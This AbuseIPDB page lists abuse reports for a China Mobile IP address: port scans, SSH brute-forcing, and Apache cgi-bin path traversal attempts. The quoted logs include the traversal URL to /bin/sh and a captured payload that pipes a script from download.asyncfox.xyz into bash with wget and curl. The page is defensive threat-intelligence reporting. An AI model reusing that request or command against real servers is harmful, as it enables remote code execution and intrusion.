JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 111.42.95.131

111.42.95.131 was found in our database!

This IP was reported 90 times. Confidence of Abuse is 0%: ?

ISP	China Mobile Communications Corporation
Usage Type	Fixed Line ISP
ASN	AS132525
Domain Name	chinamobile.com
Country	🇨🇳 China
City	Harbin, Heilongjiang

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 111.42.95.131

Whois 111.42.95.131

IP Abuse Reports for 111.42.95.131:

This IP address has been reported a total of 90 times from 55 distinct sources. 111.42.95.131 was first reported on August 26th 2023, and the most recent report was 2 years ago.

Old Reports: The most recent abuse report for this IP address is from 2 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇷🇴 Matei Baniceru	2023-08-30 09:56:42 (2 years ago)	date=2023-08-28 time=19:38:12 devname=FGT_100E_HQ devid=FG100ETK20011849 eventtime=16932406925861779 ... show more date=2023-08-28 time=19:38:12 devname=FGT_100E_HQ devid=FG100ETK20011849 eventtime=1693240692586177946 tz="+0300" logid="0419016384" type="utm" subtype="ips" eventtype="signature" level="alert" vd="root" severity="high" srcip=111.42.95.131 srccountry="China" dstip=192.168.10.69 dstcountry="Reserved" srcintf="wan1" srcintfrole="wan" dstintf="SoftSwitch_1" dstintfrole="lan" sessionid=29677469 action="dropped" proto=6 service="HTTP" policyid=52 poluuid="311b0104-42de-51eb-1ced-6dc3cf1a3df5" policytype="policy" attack="Apache.HTTP.Server.cgi-bin.Path.Traversal" srcport=60824 dstport=80 hostname="136.255.207.206" url="/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" agent="Custom-AsyncHttpClient" httpmethod="POST" direction="outgoing" attackid=50825 profile="protect_http_server" ref="http://www.fortinet.com/ids/VID50825" incidentserialno=5637412 msg="apache: Apache.HTTP.Server.cgi-bin.Path.Traversal" crscore=30 craction=8192 crlevel="high" show less	Web App Attack
🇨🇳 ThreatBook.io	2023-08-30 02:59:24 (2 years ago)	ThreatBook Intelligence: Dynamic IP,Exploit more details on https://threatbook.io/ip/111.42.95.131	SSH
🇮🇳 Parth Maniar	2023-08-29 09:11:52 (2 years ago)	This IP address carried out 6 port scanning attempts on 28-08-2023. For more information or to repor ... show more This IP address carried out 6 port scanning attempts on 28-08-2023. For more information or to report interesting/incorrect findings, give me a shoutout @parthmaniar on Twitter. show less	Port Scan SSH
🇺🇸 gu-alvareza	2023-08-29 07:05:18 (2 years ago)	Apache.HTTP.Server.cgi-bin.Path.Traversal	Hacking Web App Attack
Anonymous	2023-08-29 02:52:40 (2 years ago)	port scan and connect, tcp 22 (ssh)	Port Scan
🇨🇳 ThreatBook.io	2023-08-29 02:33:56 (2 years ago)	ThreatBook Intelligence: Dynamic IP,Exploit more details on https://threatbook.io/ip/111.42.95.131 2 ... show more ThreatBook Intelligence: Dynamic IP,Exploit more details on https://threatbook.io/ip/111.42.95.131 2023-08-28 01:55:55 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"wget http://download.asyncfox.xyz/download/dupa2.sh -O- \| bash; curl -O http://download.asyncfox.xyz/download/dupa2.sh \| bash; echo Okk","content_type":"text/plain","header":{"Accept":["/"],"Connection":["keep-alive"],"Content-Length":["135"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["Custom-AsyncHttpClient"]},"host":"162.14.104.97:80","method":"POST","proto":"HTTP/1.1","remote_addr":"111.42.95.131:53986","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"Custom-AsyncHttpClient"} show less	SSH
🇫🇷 someone	2023-08-29 02:18:19 (2 years ago)	:80 111.42.95.131 - - [29/Aug/2023:04:18:18 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2 ... show more :80 111.42.95.131 - - [29/Aug/2023:04:18:18 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 392 "-" "Custom-AsyncHttpClient" show less	Web App Attack
🇹🇭 Sawasdee	2023-08-29 00:54:16 (2 years ago)	Unwanted checking 80 or 443 port ...	Bad Web Bot
Anonymous	2023-08-29 00:52:05 (2 years ago)	fail2ban apache-modsecurity [msg "Request content type is not allowed by policy"] [uri "/cgi-bin/.%2 ... show more fail2ban apache-modsecurity [msg "Request content type is not allowed by policy"] [uri "/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh"] show less	Web App Attack
Anonymous	2023-08-29 00:19:14 (2 years ago)	Aug 29 00:18:41 f2b auth.info sshd[1184119]: Invalid user 123456 from 111.42.95.131 port 33196 Aug 2 ... show more Aug 29 00:18:41 f2b auth.info sshd[1184119]: Invalid user 123456 from 111.42.95.131 port 33196 Aug 29 00:18:41 f2b auth.info sshd[1184119]: Failed password for invalid user 123456 from 111.42.95.131 port 33196 ssh2 Aug 29 00:19:13 f2b auth.info sshd[1184121]: Failed password for root from 111.42.95.131 port 34582 ssh2 ... show less	Brute-Force SSH
🇬🇧 ASPAN	2023-08-28 23:41:37 (2 years ago)	Unsolicited connection attempt(s), port:80.	Port Scan
🇦🇺 Telemetry2U.com	2023-08-28 23:27:07 (2 years ago)	Unauthorized connection attempt to port 22 detected	SSH
🇬🇧 ASPAN	2023-08-28 23:14:31 (2 years ago)	Unsolicited connection attempt(s), port:22.	Port Scan
🇺🇸 RAP	2023-08-28 23:11:03 (2 years ago)	2023-08-28 23:11:03 UTC Unauthorized activity to TCP port 22. SSH	SSH
🇫🇷 NXO WAN	2023-08-28 22:05:03 (2 years ago)	Aug 28 12:49:49 : SSH login attempts with invalid user	Brute-Force SSH

Showing 1 to 15 of 90 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇫🇮 173.194.98.23

🇺🇸 172.236.228.220

🇮🇩 163.7.8.79

🇺🇸 162.243.56.26

🇺🇸 91.230.168.69

🇩🇪 87.106.29.151

🇩🇪 69.5.169.62

🇧🇷 45.5.222.112

🇮🇪 34.249.4.10

🇩🇪 217.83.12.42

🇭🇰 199.45.154.121

🇳🇱 176.65.148.185

🇺🇸 91.230.168.148

🇱🇹 62.60.130.219

🇺🇸 43.173.120.84

🇺🇸 2607:f8b0:4023:1004::129

🇳🇱 2001:67c:4e8:f004::9

🇺🇸 209.145.54.172

🇩🇪 167.94.146.48

🇨🇳 120.82.83.102